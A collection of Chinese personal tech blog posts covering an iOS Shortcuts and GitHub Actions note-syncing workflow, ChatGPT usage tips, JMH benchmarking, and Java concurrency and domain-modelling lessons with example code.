iOS捷径 + github action 构建无压力记录工作流

为什么随时记录想法很重要

最近读到的公众号“李睿秋Lachel L先生说”的文章《我的思考工作流(2024年版)》中提到及时记录想法的重要性:

一个经常被人忽略,但又至关重要的做法是:及时把你的想法记下来。

我们每天会有超过6000个想法。哪怕这些想法只有1%是有用的,那也有60个。只要这60个能够有10%为我们所用,也能创造不菲的价值了。

但是,大多数想法都是转瞬即逝的 —— 它们往往存在于一瞬间的闪念里。可能是对阅读到的内容的联想,可能是对某件事项或任务的灵感,可能是对未来的一个计划……

它们持续的时间非常短,可能只有几秒钟,随即就被新的想法、新的信息所吸引注意力。

因此,维护一个能够及时记录想法的流程,就尤为重要。它只是一个最简单的步骤,但却是整个思考工作流的入口和第一环节。

我的痛点

对于“维护一个能够及时记录想法的流程,就尤为重要”的观点,我深以为然。一直以来我都通过logseq这款软件作为记录和初步整理自己思考的入口,但一直有几个困难让这个流程并不顺畅。

首先,多平台同步问题。我用iPhone,但工作电脑是PC机,iCloud在Windows上同步不便,同步时机和冲突问题导致跨系统同步体验差,经常需要手动处理。

因此,我使用git来同步logseq。但这引入了新问题。在移动端,每次操作前需从远程仓库拉取最新更新,记录后需提交并更新到远端仓库,以避免冲突。尽管iOS中的自动化可简化这些操作,但实际使用中常遇到异常,需要手动介入。

其次,logseq移动端操作不便,我希望找到更便捷、无压力的随时记录方案。

审视我的需求,我在想是否过于复杂化了。我在移动端的需求是随时记录,并同步信息至知识库。logseq只是打开知识库的工具而已。

最近读到一篇博客,介绍使用github action将本地笔记同步至github仓库,我立刻想到这可能解决我的问题。。

构建无压力记录的工作流

下面我就介绍我的工作流,有几个前提条件:

  1. 知识库在github托管
  2. iPhone(安卓的话应该会更加简单)

使用捷径随时记录

参考几位博主的做法,我改造了一个闪念胶囊捷径(见文后链接),实现以下功能:

  1. 选择“iOS的语音识别”、“文字输入”、“录音后调用openai whisper”任意一种方式完成记录
  2. 调用openai接口帮助我润色记录的内容
  3. 将润色后的记录写入名称为当前日期的备忘录

闪念胶囊使用

这样,我的记录是没有压力的,随时写下来,随时写入到备忘录中,像日记一样想要找哪一天的记录可以查看对应日期的备忘录。

自动同步至GitHub仓库

基础设置

可参考博客《利用 GitHub Action 和快捷指令解决 Logseq 最后一米问题》来实现同步至GitHub仓库的操作。但在实践中,我发现部分步骤已有变更,故需要作出相应修改。

  1. 在GitHub Action YAML文件中增加设置权限操作:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    name: Add to Journal

    on:
    workflow_dispatch:
    inputs:
    text:
    description: Add a single item to Logseq journal
    type: string
    required: true
    permissions: write-all # 新增设置权限步骤,以确保可以执行git push
    jobs:
    add_to_journal:
    name: Add item to journal
    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v2

    - name: Add line to file and commit
    run: |
    filename="journals/$(date +'%Y_%m_%d').md"
    echo "- ${{ github.event.inputs.text }}" >> $filename

    git config --local user.email "[email protected]"
    git config --local user.name "GitHub Action"
    git config --local --unset-all "http.https://github.com/.extraheader"
    git add $filename
    git commit -m "Journal added by github action"

    - name: Push changes
    uses: ad-m/github-push-action@master
  2. GitHub接口调用规范已更新

    原文提到将头部的Authorization设置为token {your_token}。根据新规范,头部认证应修改为Authorization: Bearer {token}。以下两个接口操作也需相应修改:

    获取workflow ID:

    1
    2
    3
    4
    curl --location 'https://api.github.com/repos/{owner}/{repo}/actions/workflows' \
    --header 'Authorization: Bearer {token}' \
    --header 'Accept: application/vnd.github+json' \
    --header 'X-GitHub-Api-Version: 2022-11-28'

    推送更改:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    curl --location 'https://api.github.com/repos/{owner}/{repo}/actions/workflows/{workid}/dispatches' \
    --header 'Accept: application/vnd.github+json' \
    --header 'Authorization: Bearer {token}' \
    --header 'X-GitHub-Api-Version: 2022-11-28' \
    --header 'Content-Type: application/json' \
    --data '{
    "ref": "main",
    "inputs": {
    "text": "测试使用Github输入"
    }
    }'

iOS自动化定时推送

在iOS捷径菜单中创建一个自动化计划,设定每天23:45自动将记录的想法推送至GitHub仓库。

创建自动化

总结

这篇博文介绍了我利用iOS的“捷径”,“自动化”与github action实现了一个随时记录,定时同步到远程仓库的工作流。如果你也有和我相同的需求:

  1. 移动端只用来记录想法,日常在桌面端整理笔记、想法
  2. 多平台同步,但对实时性要求不高,能接受T+1同步

那么不妨试试我的方法。如果有问题,可以在评论区联系我。

资源

把ChatGPT作为方法

自今年年初ChatGPT引爆社交网络以来,我们第一次体验到了科幻作品中那种无所不能的人工智能。ChatGPT的月活跃用户数曾经狂飙突进式增长,但现在似乎进入了平台期(见参考1)。

对于初期仅出于好奇和新鲜感而使用ChatGPT的用户,以及没有找到适合的使用场景和方法的用户来说,ChatGPT的吸引力和益处确实较小了。但是对于那些找到适合场景,并将ChatGPT融入工作和生活的用户而言,以ChatGPT为首的大语言模型正在成为他们效率和生产力的一部分。我自己也是深度用户的一员。

我认为,如果找到合适的用法,ChatGPT将极大的提升工作和学习效率。在本文中,我将分享一些身边误用ChatGPT的例子,并介绍自己的一些使用场景,以供参考。

不要误用ChatGPT

不要仅将其当作消遣

绝大多数人第一次使用ChatGPT的时候,都会被它流畅人性化的回答震惊。出于人类的好奇心,许多人会问它一些毫无意义的问题,探索它的边界,直到它生成一些明显错误的回答。这时候我们可能会得出“果然是傻子”的评价。

我认为,仅将ChatGPT当作消遣娱乐,问它一些无意义的问题以“调戏”它,是对这个强大工具的误用和浪费。除了一时的新奇,这种使用方式并无任何实际意义,不能让我们真正地去利用和掌握这个强大的工具。

不要将ChatGPT视为百科全书

我发现无论是网上还是身边的人,在使用大语言模型的时候会将它误认为一个全知者,会认为它所提供的答案就是标准答案。

但我认为在使用大语言模型时首先要了解它的能力边界。现实世界有其复杂性,很多问题是没有标准答案的,而生成式大语言模型的原理决定了它的目标不是生成事实性的回答,而是生成符合你期望的回答。

实际上大语言模型有很多更适合的应用比如 利用大语言模型和书本对话 以及 学习中的输出对象可以是大语言模型

AI不能替我们作决定,但它的反馈可以成为我们深入思考的催化剂。与其期待AI的回答都是‘金科玉律’,不如把它视为激发我们主动思考的‘智囊团’。不要将AI误认为知识的权威提供者,而要把它视为思考的助推器

我发现无论是网上还是身边的人,在使用ChatGPT时都会将它误认为知识的绝对权威。人们倾向于认为它的回答就是标准答案。

但我们需要明白ChatGPT只是一个自然语言处理系统,它生成的内容并非百分百准确可靠。现实世界充满复杂性,许多问题并不存在唯一的标准答案。而ChatGPT的目标是生成符合用户期望的流畅文本,而非提供确定性的事实性结论。

相比直接看作权威,ChatGPT更适合作为学习工具和思考的激发器。例如,我们可以与ChatGPT对话来深入理解书籍内容,或者将其作为输出思考结果的工具。AI不能替代我们的判断,但可以成为我们思考的有益输入和催化剂。我们应该深入理解ChatGPT的能力局限,切忌将其误认为知识的最终权威。

我的ChatGPT使用案例

网络上已经有许多人分享了将ChatGPT作为工作学习助手的案例和提示词,感兴趣的读者可以参考文章末尾的参考资料链接。在这里,我想具体分享几个自己的使用场景。

ChatGPT作为费曼学习法的教练

提示词:

我想让你充当一个费曼方法教练。当我向你解释一个概念时,我希望你能评估我的解释是否简洁、完整,以及是否能够帮助不熟悉这个概念的人理解它,就像他们是孩子一样。如果我的解释没有达到这些期望,我希望你能向我提出问题,引导我完善我的解释,直到我完全理解这个概念。另一方面,如果我的解释符合要求的标准,我将感谢你的反馈,我将继续进行下一次解释。

我在浏览prompt用法的时候发现了费曼学习法教练的一个使用场景,并尝试将其应用在知识输出上。传统上,我们通过将概念讲解清楚来检验自己是否真正理解了某个概念。在这个过程中,反馈起着非常重要的作用。你期待与一些人对话,获得他们的评估以检验自己。有了大语言模型,这个过程变得更加简单了。你可以有一个固定的知识输出对象,他们可以不断地评估你,帮助你尝试理解某个概念或知识。

ChatGPT作为费曼方法教练

ChatGPT作为文字改进助手

我自己不是很擅长文字表达,经常会出现一些错别字或表达不通顺的地方。以前我总是希望有一位可以帮我校对和改写文章的朋友。有了ChatGPT后 ,这个梦想终于成真。

现在我会把初稿直接输入给ChatGPT,让他帮我校对文字,修改错别字,改进不通顺和重复的语句。ChatGPT可以快速扮演编辑的角色,提高我文章的流畅度和可读性。这极大地提高了我的写作效率。其实现在所写的这篇文章也是我利用了Claude这个语言模型来帮我做校对和改写。
我常用的两个提示词如下:

请用简洁明了的语言,编辑以下段落,以改善其逻辑流程,消除任何印刷错误,并以中文作答。请务必保持文章的原意。

作为一名中文写作改进助理,你的任务是改进所提供文本的拼写、语法、清晰、简洁和整体可读性,同时分解长句,减少重复,并提供改进建议。请只提供文本的更正版本,避免包括解释。

总结

接触ChatGPT后,我明显感受到认知世界的方式进入了一个新阶段。我们离科幻作品描绘的未来更近了一步。我强烈建议大家去尝试ChatGPT,体验它的强大之处,并思考如何将其融入到工作和生活中。

AI要完全取代人类还需要很长的路要走,但提前学会使用AI工具提升自我,将是我们在未来的重要优势。我相信合理利用好像ChatGPT这样的大语言模型,将使我们的生活和工作更加便捷高效。

参考资料

  1. ChatGPT Drops About 10% in Traffic as the Novelty Wears Off
  2. 🧠 Awesome ChatGPT Prompts搜集了很多英文的实用提示词
  3. AI Short上有很多ChatGPT的实用提示词

使用jmh进行性能基准测试

介绍

我们在选择不同框架、算法时,不同场景下的性能是很重要考虑因素。JMH这个Java的微基准测试框架提供简单的方式来实现性能测试的需求。本文将以一个对比序列化器性能的例子简单介绍JMH的使用。

创建项目

不同于 JUnit 这种测试框架,JMH推荐创建独立的项目来做测试。

使用maven创建

1
2
3
4
5
6
7
mvn archetype:generate \
-DinteractiveMode=false \
-DarchetypeGroupId=org.openjdk.jmh \
-DarchetypeArtifactId=jmh-java-benchmark-archetype \
-DgroupId=org.sample \
-DartifactId=test \
-Dversion=1.0

执行命令后生成项目

IDEA中创建项目

除了maven命令直接创建之外,也可以选择在IDE中创建maven,以IDEA为例。

在创建项目时,选择Maven项目,勾选 Create from archetype 并选择 Add Archetype...

在弹出的窗口中填入对应信息(当前最新版本为1.33)

{:height 660, :width 764}

之后就可以选择JMH的archetype在IDEA中创建项目了。

编写测试代码

项目自动生成的 pom.xml 文件中已经包含JMH运行最小依赖了,只需要加上待测试相关的依赖包。这里我要测试的是 spring-data-redis 中序列化对象相关的内容,因此需要添加以下依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-redis</artifactId>
<version>2.1.1.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-core -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.12.3</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.12.3</version>
</dependency>

之后编写测试代码,这里我使用了对比了 ObjectHashMapperJackson2HashMapper 两个类的 toHash 方法平均调用时间。预热5轮,实际测试5轮并fork 5 个进程来进行测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@BenchmarkMode(Mode.AverageTime)  
@OutputTimeUnit(TimeUnit.NANOSECONDS)
@Warmup(iterations = 5, time = 1)
@Measurement(iterations = 5, time = 1)
@Fork(5)
@State(Scope.Benchmark)
public class MyBenchmark {

private HashMapper objectHashMapper;
private HashMapper jacksonHashMapper;

@Setup
public void setup() {
objectHashMapper = new ObjectHashMapper();
jacksonHashMapper = new Jackson2HashMapper(false);
}

@Benchmark
public void testObjectHashMapper() {
SesAnswerRate answerRatePredictor = new SesAnswerRate(0.3F, 0.5F);
objectHashMapper.toHash(answerRatePredictor);
}

@Benchmark
public void testJacksonHashMapper() {
SesAnswerRate answerRatePredictor = new SesAnswerRate(0.3F, 0.5F);
jacksonHashMapper.toHash(answerRatePredictor);
}

public static void main(String[] args) throws RunnerException {
Options options = new OptionsBuilder()
.include(MyBenchmark.class.getSimpleName())
.build();
new Runner(options).run();
}
}

建议IDEA用户安装idea-jmh-plugin插件,便于运行测试。

执行测试

如果没有安装IDE插件,可以执行 mvn clean package 打包,之后在项目下的target文件夹中执行 java -jar benchmarks.jar 运行。

最终运行结果如下:

1
2
3
Benchmark                          Mode  Cnt     Score     Error  Units
MyBenchmark.testJacksonHashMapper avgt 25 536.386 ± 25.589 ns/op
MyBenchmark.testObjectHashMapper avgt 25 1601.561 ± 139.910 ns/op

可以看到使用 Jackson2HashMapper 序列化对象的速度要比 ObjectHashMapper 快上3倍。

总结

可以看到利用JMH能够快速编写,运行测试代码,对于method级别的性能测试非常有用,篇幅所限在此不展开讲述更加具体的用法。

建议有需要的同学们阅读官方示例: jmh-samples

数据去哪了?:从一次生产事故聊聊并发编程原子性问题

1. 引言

最近公司小伙伴的服务遇到一个奇怪的丢数据问题:每天总是莫名其妙的丢几条数据,经过分析排查之后发现是没有处理好并发而导致的。

问题复盘之后我认为这是并发编程中典型的原子性问题。对于并发编程不是很熟悉的小伙伴来说是一个很好的例子。

2. 问题复盘

整个业务的逻辑其实是比较简单:不断的接收消息,定时的把收集的消息发送到一个目标地址。

2.1 关键代码

talk is cheap, show me the code!

我仿写了引起并发问题的类,只保留了核心逻辑,除了lomboklogback之外没有引入其他第三方包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
@Slf4j
public class ConcurrentPostResult {

private List<String> cache = new ArrayList<>(1000);

/**
* 模拟接收数据
*
* @param data
*/
public void receive(String data) {
cache.add(data);
log.info("增加数据 {}, 当前数据容量 {}", data, cache.size());
}

/**
* 模拟发送数据
*
* @throws InterruptedException
*/
public void postResult() throws InterruptedException {
log.info("当前缓存数据数量 {}", cache.size());
// 等待10ms,模拟发送数据耗时,这里实际会拷贝一份数据进行发送
TimeUnit.MILLISECONDS.sleep(10);
log.info("发送数据后的缓存数据数量 {}", cache.size());
cache.clear();
log.info("清除缓存数据 {}", cache.size());
}

public static void main(String[] args) throws InterruptedException {
ConcurrentPostResult postResult = new ConcurrentPostResult();

int threadCount = 8;
ForkJoinPool forkJoinPool = new ForkJoinPool(threadCount);

// 模拟并发接收数据
forkJoinPool.execute(() -> IntStream.range(0, 1000)
.mapToObj(String::valueOf)
.parallel().forEach(postResult::receive));

postResult.postResult();

}
}

2.2 输出结果

1
2
3
4
5
6
7
8
9
00:29:46.671 [main] INFO org.example.ConcurrentPostResult - 当前缓存数据数量 0
00:29:46.678 [ForkJoinPool-1-worker-0] INFO org.example.ConcurrentPostResult - 增加数据 85, 当前数据容量 169
...省略日志
00:29:46.686 [ForkJoinPool-1-worker-5] INFO org.example.ConcurrentPostResult - 增加数据 547, 当前数据容量 616
00:29:46.686 [main] INFO org.example.ConcurrentPostResult - 发送数据后的缓存数据数量 616
00:29:46.686 [ForkJoinPool-1-worker-6] INFO org.example.ConcurrentPostResult - 增加数据 797, 当前数据容量 617
...省略日志
00:29:46.686 [ForkJoinPool-1-worker-0] INFO org.example.ConcurrentPostResult - 增加数据 57, 当前数据容量 12
00:29:46.686 [main] INFO org.example.ConcurrentPostResult - 清除缓存数据 2

3. 问题分析

从上一节的日志输出可以看到,在执行postResult()方法发送数据,实际上会经过一个比较长的网络I/O操作^注1。并且执行该操作时,上游系统还在不断推送数据加入到缓存中,如下图所示:

一次并发问题

我们进入到postResult()方法时只发送缓存中的10条数据,但实际上在这个过程中可能不断有新数据加入到缓存中,这部分数据并没有发送给下游服务。

最后在发送完成之后执行了cache.clear()操作导致数据丢失。

4. 解决

我们没有意识到这是个并发的操作,因此下意识的认为接收与发送数据都是原子性的:执行接收数据的时候不会发送数据,执行发送数据的时候不会接收数据。

比较直接方法是对缓存的对象加锁,这里有两个注意点:

  1. 所有涉及到共享对象(这里是cache)的操作都需要加速
  2. 保证加的是同一把锁
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
@Slf4j
public class ConcurrentPostResult {

private List<String> cache = new ArrayList<>(1000);

/**
* 模拟接收数据
*
* @param data
*/
public void receive(String data) {
// 对缓存加锁
synchronized (cache) {
cache.add(data);
}
log.info("增加数据 {}, 当前数据容量 {}", data, cache.size());
}

/**
* 模拟发送数据
*
* @throws InterruptedException
*/
public void postResult() throws InterruptedException, IOException, ClassNotFoundException {
List data2Send;
// 执行发送操作前加锁
synchronized (cache) {
// 深拷贝数据,避免cache对象被阻塞太久,对性能造成影响
data2Send = deepCopy(cache);
log.info("当前缓存数据数量 {}, 待发送的数据数量 {}", cache.size(), data2Send.size());
cache.clear();
}
// 等待20ms,模拟发送数据耗时,这个时间基本上能保证把1000条数据消耗完
TimeUnit.MILLISECONDS.sleep(20);
log.info("发送数据后的缓存数据数量 {}, 发送的数据数量 {}", cache.size(), data2Send.size());
}

public static void main(String[] args) throws InterruptedException, IOException, ClassNotFoundException {
ConcurrentPostResult postResult = new ConcurrentPostResult();

int threadCount = 8;
ForkJoinPool forkJoinPool = new ForkJoinPool(threadCount);

// 模拟并发接收数据
forkJoinPool.execute(() -> IntStream.range(0, 1000)
.mapToObj(String::valueOf)
.parallel().forEach(postResult::receive));

log.info("执行前");
TimeUnit.MILLISECONDS.sleep(5);
log.info("执行后");

postResult.postResult();
}

public static <T> List<T> deepCopy(List<T> src) throws IOException, ClassNotFoundException {
ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteOutput);
out.writeObject(src);

ByteArrayInputStream byteInput = new ByteArrayInputStream(byteOutput.toByteArray());
ObjectInputStream input = new ObjectInputStream(byteInput);
List<T> dest = (List<T>) input.readObject();
return dest;
}
}

这里我特意增加了等待时间,可以看到已发送的数据与未发送数据之和为1000,确保数据未丢失。

1
2
3
4
5
6
7
8
9
10
11
12
21:13:17.268 [main] INFO org.example.ConcurrentPostResult - 执行前
21:13:17.274 [ForkJoinPool-1-worker-4] INFO org.example.ConcurrentPostResult - 增加数据 159, 当前数据容量 26
...省略日志
21:13:17.276 [ForkJoinPool-1-worker-3] INFO org.example.ConcurrentPostResult - 增加数据 932, 当前数据容量 157
21:13:17.277 [main] INFO org.example.ConcurrentPostResult - 执行后
21:13:17.277 [ForkJoinPool-1-worker-3] INFO org.example.ConcurrentPostResult - 增加数据 933, 当前数据容量 178
21:13:17.277 [ForkJoinPool-1-worker-7] INFO org.example.ConcurrentPostResult - 增加数据 204, 当前数据容量 176
21:13:17.288 [main] INFO org.example.ConcurrentPostResult - 当前缓存数据数量 178, 待发送的数据数量 178
21:13:17.288 [ForkJoinPool-1-worker-7] INFO org.example.ConcurrentPostResult - 增加数据 205, 当前数据容量 1
...省略日志
21:13:17.301 [ForkJoinPool-1-worker-4] INFO org.example.ConcurrentPostResult - 增加数据 874, 当前数据容量 822
21:13:17.311 [main] INFO org.example.ConcurrentPostResult - 发送数据后的缓存数据数量 822, 发送的数据数量 178

结论

本文从一个真实案例说起,分析了代码中隐藏的并发问题以及解决方案。

在这个例子中,以下几点内容是我们需要关注的:

  1. 分析你的服务是否存在并发场景
  2. 是否有对共享对象的操作(上文的例子中是cache对象)
  3. 加锁^注2可以解决并发问题中的原子性、一致性、顺序性问题

在这里我们只讨论了最直观的解决方案,有机会在后续的文章中将深入讨论Java内存模型来对并发问题追根溯源。

向贫血模型宣战

什么是贫血模型

回想一下我们定义的经典代码

1
2
3
4
5
6
public class UserPo {
private String id;
private String name;
private String age;
//getter、setter
}

这个UserPo类没有任何行为,只是数据容器,只是为了适应HibernateMybatis这些ORM框架而存在。
使用这种模型带来的后果是什么呢?大量的业务逻辑,校验规则都被放到了service层。

举个简单的例子,修改年龄,最常见的做法是:

1
2
3
4
5
6
7
8
9
10
11
12
public class UserService{

private UserDao userDao;

public void changeAge(Long id, Integer newAge) {
if (newAge < 0) {
throw new IllegalArgumentException();
}
UserPo user = userDao.findById(id);
user.setAge(newAge);
}
}

哪里有不妥帖的地方?我们把所有的业务逻辑放在了UserService这个类中,比如校验年龄是否符合规则。

什么是充血模型

让我们换一种做法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class UserPo {
private String id;
private String name;
private String age;

public void changeAge(Integer newAge) {
if (newAge < 0) {
throw new IllegalArgumentException();
}
this.age = newAge;
}

public void rename(String newName) {
if (newName == null) {
throw new IllegalArgumentException();
}
this.name = newName;
}
}

看出变化了么:

  1. 舍弃了常见的getter、setter方法,转而使用更面向业务且更具表现力的命名方式;
  2. 将参数的校验放到了持久化对象中,使得UserPo也拥有了业务逻辑。

贫血模型有什么问题

我们用一个小例子解释了什么是贫血模型,什么是充血模型,但说起来就算用贫血模型,又有什么问题呢?我们有必要舍弃习以为常的模型去追求什么充血模型么?

简单的业务系统采用这种贫血模型和过程化设计是没有问题的,但在业务逻辑复杂了,业务逻辑、状态会散落到在大量方法中,原本的代码意图会渐渐不明确,我们将这种情况称为由贫血症引起的失忆症。

来自领域驱动设计在互联网业务开发中的实践

贫血模型跟分层的思想紧密相连,在这种风格中模型只是用来承载数据,业务逻辑由其它类(比如service)来承载。

这种做法带来的一个问题是:我们以为对象就是数据的容器而已,从而失去了面向对象思想的真正关注点。

另外一个实际的问题是,对象的处理会散落在项目各处。还是上面的例子,如果使用充血模型,那么校验年龄就是UserPo对象的行为,只要使用changeAge()方法,就会去校验年龄的有效性。我们不必考虑其他service层设置changeAge()方法时还要校验年龄^1

重新理解面向对象

回想一下Java编程语言第一课,必然会介绍说:Java是一门面向对象的编程语言,并且有:封装、继承、多态三个特征。

理想状态下我们的对象应该是这个样子的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Dog {
public String state;

public void walk() {
this.state = "walking";
}

public void lieDown() {
this.state = "lying";
}

public String getState() {
return this.state;
}
}

这时候Dog是一个更加富含行为,更“面向对象”的对象,我们让它walk()它就能walking,让它lieDown()它马上就lying了。

但往往下面的代码更为常见的:

1
2
3
4
5
6
7
8
9
public class Dog {
public String state;
public void setState(String aState) {
this.state = aState;
}
public String getState() {
return this.state;
}
}
1
2
3
4
5
6
7
public class StateService {

public void changeState(String state) {
dog.setState(state);
}

}

上面的场景里把业务逻辑都放入service层理解起来都没有什么问题,那为什么还要说向贫血模型宣战呢?

因为我们面对的场景从来都不会简单。

面向对象本质上是为了让人更加舒服。以往计算机性能捉襟见肘,程序员们绞尽脑汁想的都是怎么压榨计算机性能,所以本质上那时候程序语言都是服务于计算机的(比如说C,C++)。后来计算机性能上来了有了些富余加上软件的规模越来越大,于是大家开始考虑怎么写出让人更容易理解的代码,这才是面向对象的初心:以人为本。

总结

虽然本文的题目叫做向贫血模型宣战,但我也认为做好抽象设计很难,因此一些编程的方法论还是得读得看。可能有人觉得简单的CRUD项目不需要搞的那么复杂,但好的编程范式尽量遵守,这样在未来面对大型复杂的需求时才能游刃有余。

用上ConcurrentHashMap,就没有并发问题了?

主题

  • 并发问题的三个来源:原子性、可见性、有序性
  • ConcurrentHashMap只能保证提供的原子性读写操作是线程安全的

用户注册模拟并发问题

我们从一个用户注册的例子来了解并发问题。

在这个例子中模拟了用户注册行为,定义了相同用户名不能重复注册的规则,我们使用ConcurrentHashMap保存用户信息,通过模拟同时注册的动作体现并发问题。

定义用户类

1
2
3
4
5
6
class User {
// 用户名,也是Map的key
private String username;
private int age;
// 省略getter, setter方法
}

定义用户注册逻辑

用户注册的规则是用户名不能重复,假如重复就返回注册失败,我们也考虑到了线程安全,所以用ConcurrentHashMap来存储用户信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class UserService {

private Map<String, User> userMap = new ConcurrentHashMap();

boolean register(User user) {
if (userMap.containsKey(user.getUsername)) {
log.info("用户已存在");
return false;
} else {
userMap.put(user.getUsername, user);
log.info("用户注册成功, {}, {}", user.getUsername(), user.getAge());
return true;
}
}
}

模拟重复注册

接下来模拟用户重复注册的场景:

1
2
3
4
5
6
7
8
9
10
11
int threadCount = 8;

ForkJoinPool forkJoinPool = new ForkJoinPool(threadCount);

forkJoinPool.execute(() -> IntStream.range(0, threadCount)
.mapToObj(i -> new Person("张三", i))
.parallel().forEach(UserService::register));

// 等待1s,否则看不到日志输出程序就结束了
TimeUnit.SECONDS.sleep(1);

输出结果:

1
2
3
4
5
6
7
8
00:18:32.622 [ForkJoinPool-1-worker-1] INFO org.example.UserService - 用户注册成功, 张三, 5
00:18:32.622 [ForkJoinPool-1-worker-0] INFO org.example.UserService - 用户已存在
00:18:32.622 [ForkJoinPool-1-worker-4] INFO org.example.UserService - 用户注册成功, 张三, 1
00:18:32.622 [ForkJoinPool-1-worker-6] INFO org.example.UserService - 用户已存在
00:18:32.622 [ForkJoinPool-1-worker-5] INFO org.example.UserService - 用户注册成功, 张三, 4
00:18:32.622 [ForkJoinPool-1-worker-3] INFO org.example.UserService - 用户已存在
00:18:32.622 [ForkJoinPool-1-worker-2] INFO org.example.UserService - 用户注册成功, 张三, 2
00:18:32.622 [ForkJoinPool-1-worker-7] INFO org.example.UserService - 用户已存在

可以看到,在注册中存在判断用户是否已注册的逻辑,但在实际测试中有4个用户同时注册成功。^1

并发问题的三大根源

可见性、原子性、有序性

为什么用上了线程安全的ConcurrentHashMap还是出现了并发问题呢?

可见性问题

用户注册代码中使用containsKey()方法判断用户是否存在,直观上我们认为操作的是同一个Map,如果另一个线程写入了张三这个key,当前线程访问userMap时一定会看到,而实际情况要更加复杂一些。

在学习计算机原理的时候讲过CPU缓存、内存、硬盘三者的速度天差地别,因此CPU在计算时优先从离自己最近、速度最快的CPU缓存中获取数据去计算,其次再从内存中获取数据。

另外,CPU经历了多年的发展之后,单核的性能提升越来越困难,为了提高单机性能,如今的计算机都是采用多个CPU核心的方式。

下图所展现的就是CPU与其缓存以及内存之间的关系。每个CPU核心都有独享的Cache的缓存

多线程可见性

此处简化了CPU缓存架构,一般我们的CPU有3级缓存,就是一般我们听到的L1 Cache、L2 Cache和L3 Cache。其中L1 Cache和L2 Cache是CPU独享的,L3 Cache在逻辑上是共享模式。

而我们的线程可能会跑在不同的CPU核心上,此时Thread1将用户注册信息写入到内存中,但Thread2还是从自己的CPU缓存中获取的数据,因此对于Thread2来说看到的注册信息里没有张三,这就是可见性问题

多线程可见性2

原子性问题

即使两个线程跑在了同一个CPU核心上,避免了可见性问题干扰,另外一个原子性问题依然会让你的并发代码不可控。

下图展示了在时间轴上注册用户的流程,boolean register(User user)这个方法在CPU计算的时间尺度上并不是做一个操作,而是包含了:

  1. 访问userMap判断当前用户是否注册
  2. 注册用户

这两步操作,在Thread1访问userMap后返回当前用户未注册但还未将用户信息putuserMap前,Thread2也去访问了userMap那么它也会获取到当前用户未注册的结果,因此也会执行后面的注册操作。

CPU在执行任务时

用户注册并发1

而实际上我们希望判断用户是否注册注册用户这两步操作同时进行,如下图所示,Thread1在执行register(User user)方法时会将两个操作放在一起执行完,这与数据库事务的原子性理解差不多。

用户注册并发2

有序性问题

有序性问题是第三个引起并发编程Bug的源头。

编译器为了提高性能有时候会改变代码执行的顺序,对于单线程代码指令重排序对于执行没有什么影响,但是会对多线程并发代码执行产生不可预知的结果。原理可以参考上节的原子性问题

ConcurrentHashMap应该怎么用

说回到ConcurrentHashMap,它所说的线程安全到底指的是什么呢?

它所保证的是put()get()操作是线程安全的,上一节所说的可见性问题可以被解决。

在我们上文的例子中之所以出现线程安全问题,原因在于register(User user)这个方法中有复合操作,所以会有原子性问题

了解并发问题的根源之后,才能真正用好并发工具类,发挥它的真正威力。我们改造一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class UserService {

private Map<String, User> userMap = new ConcurrentHashMap();

boolean register(User user) {
User hasMapped = userMap.putIfAbsent(user.getUsername, user);
if (hasMapped != null) {
log.info("用户已存在");
return false;
} else {
log.info("用户注册成功, {}, {}", user.getUsername(), user.getAge());
return true;
}
}
}

这里我们使用了Map提供的putIfAbsent接口,其含义是如果key已经存在则返回存储的对象,否则返回null

putIfAbsent接口定义的时候不是线程安全的,但ConcurrentHashMap在实现的时候将这个方法实现为线程安全。在这个场景中如果不使用putIfAbsent就要对register(User user)方法加锁,对于性能的影响更大。

总结

ConcurrentHashMap因为一直以来都号称是线程安全的,因此对于其使用常常会陷入误区。要发挥出并发工具类的真正威力,一定要了解并发问题的本质,而并发问题的本质又与硬件知识息息相关。

受水平所限,本文只是从一个角度解释了ConcurrentHashMap引起的并发问题,并未深入分析ConcurrentHashMap的实现以及局限性。

参考资料

写文章也可以小步迭代,快速交付

我的博客本质上是一些Markdown文件,源文件都存放在Github上,页面上也没有什么文章评论二维码,所以看起来很简陋。当然我之前也使用过类似hexo之类的框架,但那些都太笨重了,不太符合我想快速建站的想法。

我想未来文章如果够多的话我会尝试使用一些别的博客系统,能看起来不那么简陋。

我不太擅长写文章,能把一件事深入浅出的交代清楚是我一直追寻的目标,以前自己记录笔记无论学到什么知识画上两三笔就可以了,写博客不是这么一件事情,知识与想法要成体系的输出。要真写出自己满意的文章我估计一年两篇就顶破天了,甚至于我可能写一篇的动力都没有了。

所以开始做一件事比完全做好再拿出来更重要。敏捷的思想不仅仅可以应用在软件项目管理上,如果把自己写博客写文章也作为一个项目看待的话那么也可以应用小步迭代,快速交付的方式。

